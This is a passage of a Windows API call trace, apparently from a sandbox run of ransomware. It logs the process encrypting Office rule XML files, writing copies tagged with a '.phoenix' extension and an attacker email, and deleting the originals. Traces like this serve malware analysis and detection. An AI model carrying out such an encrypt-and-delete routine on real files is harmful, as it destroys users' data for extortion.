	[0267.229] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.229] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.229] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.229] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0267.229] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.229] ReadFile (in: hFile=0x244, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x19601, lpOverlapped=0x0) returned 1
	[0267.292] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x19610, dwBufLen=0x19610 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x19610) returned 1
	[0267.292] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x19610, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x19610, lpOverlapped=0x0) returned 1
	[0267.294] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0267.294] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.294] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0267.294] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.294] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0267.294] CryptDestroyKey (hKey=0x151500) returned 1
	[0267.294] CloseHandle (hObject=0x244) returned 1
	[0267.294] CloseHandle (hObject=0x254) returned 1
	[0267.294] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml")) returned 1
	[0267.296] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.296] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.296] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=29411) returned 1
	[0267.296] CloseHandle (hObject=0x254) returned 1
	[0267.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml")) returned 0x20
	[0267.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.297] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.297] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.297] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.297] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.297] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1512c0) returned 1
	[0267.297] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.297] ReadFile (in: hFile=0x254, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x72e3, lpOverlapped=0x0) returned 1
	[0267.311] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x72f0, dwBufLen=0x72f0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x72f0) returned 1
	[0267.311] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x72f0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x72f0, lpOverlapped=0x0) returned 1
	[0267.312] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0267.312] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.312] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60, dwBufLen=0x60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60) returned 1
	[0267.312] CryptDestroyKey (hKey=0x151380) returned 1
	[0267.312] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x112, lpOverlapped=0x0) returned 1
	[0267.312] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.312] CloseHandle (hObject=0x254) returned 1
	[0267.312] CloseHandle (hObject=0x244) returned 1
	[0267.312] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml")) returned 1
	[0267.317] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.317] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.320] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=187496) returned 1
	[0267.320] CloseHandle (hObject=0x2c4) returned 1
	[0267.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml")) returned 0x20
	[0267.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.321] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.322] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.322] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.322] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.323] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151180) returned 1
	[0267.323] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.323] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2dc68, lpOverlapped=0x0) returned 1
	[0267.371] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2dc70, dwBufLen=0x2dc70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2dc70) returned 1
	[0267.371] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2dc70, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2dc70, lpOverlapped=0x0) returned 1
	[0267.374] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0267.374] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.374] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0267.374] CryptDestroyKey (hKey=0x151440) returned 1
	[0267.374] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0267.374] CryptDestroyKey (hKey=0x151180) returned 1
	[0267.374] CloseHandle (hObject=0x2e8) returned 1
	[0267.374] CloseHandle (hObject=0x2b0) returned 1
	[0267.374] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml")) returned 1
	[0267.376] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.376] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.377] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=29411) returned 1
	[0267.377] CloseHandle (hObject=0x2b0) returned 1
	[0267.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml")) returned 0x20
	[0267.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.377] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.377] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.377] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.377] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.378] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0267.378] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.378] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x72e3, lpOverlapped=0x0) returned 1
	[0267.384] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x72f0, dwBufLen=0x72f0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x72f0) returned 1
	[0267.384] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x72f0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x72f0, lpOverlapped=0x0) returned 1
	[0267.385] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0267.385] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.385] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0267.385] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.385] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0267.385] CryptDestroyKey (hKey=0x151440) returned 1
	[0267.385] CloseHandle (hObject=0x2b0) returned 1
	[0267.385] CloseHandle (hObject=0x2e8) returned 1
	[0267.385] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml")) returned 1
	[0267.390] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.390] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.395] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=164524) returned 1
	[0267.395] CloseHandle (hObject=0x2e4) returned 1
	[0267.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml")) returned 0x20
	[0267.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.399] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.399] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.399] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.399] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.400] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0267.400] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.400] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x282ac, lpOverlapped=0x0) returned 1
	[0267.430] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x282b0, dwBufLen=0x282b0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x282b0) returned 1
	[0267.431] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x282b0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x282b0, lpOverlapped=0x0) returned 1
	[0267.434] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0267.434] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.434] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0267.434] CryptDestroyKey (hKey=0x151500) returned 1
	[0267.434] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0267.434] CryptDestroyKey (hKey=0x151440) returned 1
	[0267.434] CloseHandle (hObject=0x2c4) returned 1
	[0267.435] CloseHandle (hObject=0x244) returned 1
	[0267.435] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml")) returned 1
	[0267.437] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.437] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.438] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=223563) returned 1
	[0267.438] CloseHandle (hObject=0x244) returned 1
	[0267.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml")) returned 0x20
	[0267.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.438] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.438] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.438] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.438] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.439] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0267.439] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
